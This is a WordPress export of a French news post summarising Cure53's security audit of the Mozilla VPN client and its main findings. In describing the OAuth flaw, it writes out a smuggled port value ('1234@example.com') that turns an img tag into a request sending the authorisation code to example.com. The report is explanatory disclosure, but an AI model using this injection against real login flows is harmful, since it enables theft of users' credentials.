{"id":101183,"date":"2021-09-03T10:22:53","date_gmt":"2021-09-03T08:22:53","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/opublikovany-rezultaty-audita-vpn-klienta-mozilla"},"modified":"2021-09-03T10:22:53","modified_gmt":"2021-09-03T08:22:53","slug":"opublikovany-rezultaty-audita-vpn-klienta-mozilla","status":"publish","type":"post","link":"https:\/\/prohoster.info\/fr\/blog\/news\/opublikovany-rezultaty-audita-vpn-klienta-mozilla","title":{"rendered":"Les r\u00e9sultats de l'audit du client VPN de Mozilla ont \u00e9t\u00e9 publi\u00e9s.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

La soci\u00e9t\u00e9 Mozilla a annonc\u00e9 la fin d'un audit ind\u00e9pendant du logiciel client pour se connecter au service Mozilla VPN. Cet audit a port\u00e9 sur l'analyse d'une application cliente autonome, d\u00e9velopp\u00e9e en utilisant la biblioth\u00e8que Qt et fournie pour Linux, macOS, Windows, Android et iOS. Le service Mozilla VPN est aliment\u00e9 par plus de 400 serveurs du fournisseur VPN su\u00e9dois Mullvad, situ\u00e9s dans plus de 30 pays. La connexion au VPN<\/a>-service se fait via le protocole WireGuard. <\/p>\n

L'audit a \u00e9t\u00e9 r\u00e9alis\u00e9 par Cure53, qui avait auparavant audit\u00e9 des projets tels que NTPsec, SecureDrop, Cryptocat, F-Droid et Dovecot. L'audit a port\u00e9 sur l'examen des codes sources et a inclus des tests pour identifier d'\u00e9ventuelles vuln\u00e9rabilit\u00e9s (les questions li\u00e9es \u00e0 la cryptographie n'ont pas \u00e9t\u00e9 abord\u00e9es). Au cours de l'examen, 16 probl\u00e8mes de s\u00e9curit\u00e9 ont \u00e9t\u00e9 identifi\u00e9s, dont 8 avaient un caract\u00e8re de recommandation, 5 ont \u00e9t\u00e9 class\u00e9s \u00e0 faible niveau de danger, 2 \u00e0 moyen et 1 \u00e0 \u00e9lev\u00e9. <\/p>\n

Cependant, un seul probl\u00e8me de niveau moyen a \u00e9t\u00e9 class\u00e9 comme vuln\u00e9rabilit\u00e9, car il \u00e9tait le seul exploitable. Ce probl\u00e8me entra\u00eenait une fuite d'informations sur l'utilisation de VPN dans le code de d\u00e9tection de captive portal en raison de l'envoi de requ\u00eates directes non chiffr\u00e9es par HTTP, envoy\u00e9es en dehors du tunnel VPN et r\u00e9v\u00e9lant l'adresse IP principale de l'utilisateur si un attaquant peut contr\u00f4ler le trafic transit. Ce probl\u00e8me peut \u00eatre r\u00e9solu en d\u00e9sactivant le mode de d\u00e9tection de captive portal dans les param\u00e8tres. <\/p>\n

Le deuxième problème de niveau moyen de gravité est lié à l'absence de nettoyage adéquat des valeurs non numériques dans le numéro de port, ce qui permet de provoquer une fuite des paramètres d'authentification OAuth en substituant le numéro de port par une chaîne de type « 1234@example.com », ce qui entraînera l'installation d'une balise <img src="»http:\/\/127.0.0.1:1234@example.com\/?code=…»" alt="»»">, faisant référence à example.com au lieu de 127.0.0.1. <\/p>\n

Le troisi\u00e8me probl\u00e8me, marqu\u00e9 comme dangereux, permet \u00e0 toute application locale, sans authentification, d'acc\u00e9der au client VPN via WebSocket, li\u00e9 \u00e0 localhost. En exemple, il a \u00e9t\u00e9 montr\u00e9 qu'avec le client VPN actif, n'importe quel site pouvait organiser la cr\u00e9ation et l'envoi d'une capture d'\u00e9cran en g\u00e9n\u00e9rant un \u00e9v\u00e9nement screen_capture. Ce probl\u00e8me n'a pas \u00e9t\u00e9 class\u00e9 comme vuln\u00e9rabilit\u00e9, car le WebSocket n'\u00e9tait utilis\u00e9 que dans des versions de test internes et l'utilisation de ce canal de communication \u00e9tait uniquement pr\u00e9vue pour l'avenir dans le cadre de l'interaction avec l'extension de navigateur.
\n
Source : opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Mozilla \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u041f\u041e \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443 Mozilla VPN. \u0412 \u0445\u043e\u0434\u0435 \u0430\u0443\u0434\u0438\u0442\u0430 \u0431\u044b\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u043e\u0431\u043e\u0441\u043e\u0431\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Qt \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f Linux, macOS, Windows, Android \u0438 iOS. \u0420\u0430\u0431\u043e\u0442\u0443 Mozilla VPN \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 400 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0448\u0432\u0435\u0434\u0441\u043a\u043e\u0433\u043e VPN-\u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 Mullvad, \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d\u043d\u044b\u0445 \u0432 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 30 \u0441\u0442\u0440\u0430\u043d\u0430\u0445. \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-101183","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Les r\u00e9sultats de l'audit du client VPN de Mozilla ont \u00e9t\u00e9 publi\u00e9s | ProHoster","description":"La soci\u00e9t\u00e9 Mozilla a annonc\u00e9 la fin d'un audit ind\u00e9pendant du logiciel client pour se connecter au service Mozilla VPN.","canonical_url":"https:\/\/prohoster.info\/fr\/blog\/news\/opublikovany-rezultaty-audita-vpn-klienta-mozilla","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"fr_FR","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0430\u0443\u0434\u0438\u0442\u0430 VPN-\u043a\u043b\u0438\u0435\u043d\u0442\u0430 Mozilla | ProHoster","og:description":"\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Mozilla \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u041f\u041e \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443 Mozilla VPN.","og:url":"https:\/\/prohoster.info\/fr\/blog\/news\/opublikovany-rezultaty-audita-vpn-klienta-mozilla","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-09-03T08:22:53+00:00","article:modified_time":"2021-09-03T08:22:53+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"101183","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-09-03 08:33:23","updated":"2026-02-04 14:42:04","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/101183","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/comments?post=101183"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/101183\/revisions"}],"predecessor-version":[{"id":156742,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/101183\/revisions\/156742"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/media?parent=101183"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/categories?post=101183"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/tags?post=101183"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}